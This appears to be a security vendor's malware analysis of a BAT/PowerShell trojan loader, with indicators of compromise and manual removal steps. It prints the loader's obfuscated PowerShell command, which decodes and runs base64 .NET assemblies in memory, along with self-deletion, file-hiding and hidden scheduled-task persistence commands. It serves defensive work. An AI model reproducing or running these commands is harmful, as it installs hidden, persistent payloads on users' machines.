Analysis by: John Rainier Navato
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 1,152,527 bytes
File Type: BAT
Memory Resident: Yes
Initial Samples Received Date: 23 Jul 2024
Payload: Connects to URLs/IPs, Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • {Malware File Path}\{Malware File Name}.bat.exe → deleted afterwards
  • %Application Data%\startup_str_370.vbs
  • %Application Data%\startup_str_370.bat
  • %Application Data%\startup_str_370.bat.exe → file attribute set to hidden

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "{Malware File Name}.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('{Malware File Path}\{Malware File Name}.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
  • "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3640);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
  • %System%\cmd.exe" /C ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe" & exit
  • ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe"
  • "%System%\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_370_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute '%Application Data%\startup_str_370.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest –Force
  • "%System%\WScript.exe" "%Application Data%\startup_str_370.vbs"
  • cmd /c ""%Application Data%\startup_str_370.bat" "
  • "%Application Data%\startup_str_370.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('%Application Data%\startup_str_370.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
  • "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3016);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
  • "%System%\cmd.exe" /C ATTRIB +H "%Application Data%\startup_str_370.bat.exe" & exit
  • ATTRIB +H "%Application Data%\startup_str_370.bat.exe"

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}.{BLOCKED}.{BLOCKED}.238/plugin3.dll

However, as of this writing, the said sites are inaccessible.

It adds the following scheduled tasks:

    • Name: RuntimeBroker_startup_370_str
    • Trigger: At user logon
    • Action: %Application Data%\startup_str_370.vbs

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 19.502.05
FIRST VSAPI PATTERN DATE: 01 Aug 2024
VSAPI OPR PATTERN File: 19.503.00
VSAPI OPR PATTERN Date: 02 Aug 2024

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks while in Safe Mode

  1. Still in safe mode, the following {Task Name}-{Task to be run} listed should be used in the steps identified below:
    • Task Name: RuntimeBroker_startup_370_str
      • Task to be run: %Application Data%\startup_str_370.vbs
  2. For Windows 7 and Server 2008 (R2) users, click Start>Computer.
    • For Windows 8, 8.1, 10, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
  3. In the Search Computer/This PC input box, type:
    • %System%\Tasks\{Task Name}
  4. Once located, select the file then press SHIFT+DELETE to delete it.
  5. Open Registry Editor. To do this:
    • For Windows 7 and Server 2008 (R2) users, click the Start button, type regedit in the Search input field, and press Enter.
    • For Windows 8, 8.1, 10, and Server 2012 (R2) users, right-click on the lower left corner of the screen, click Run, type regedit in the text box
  6. In the left panel of the Registry Editor window, double-click the following:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  7. Locate the created entry and take note of the registry value's data:
    • ID={Task Data}
  8. After taking note of the data, delete the registry key:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  9. In the left panel of the Registry Editor window, double-click the following:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
  10. Still in the left panel, locate and delete the registry key with the same name as the located Task Data in step #6:
    • ={Task Data}
  11. Close Registry Editor.

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.

  • {Malware File Path}\{Malware File Name}.bat.exe
  • %Application Data%\startup_str_370.vbs
  • %Application Data%\startup_str_370.bat
  • %Application Data%\startup_str_370.bat.exe

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.BAT.POWLOAD.G. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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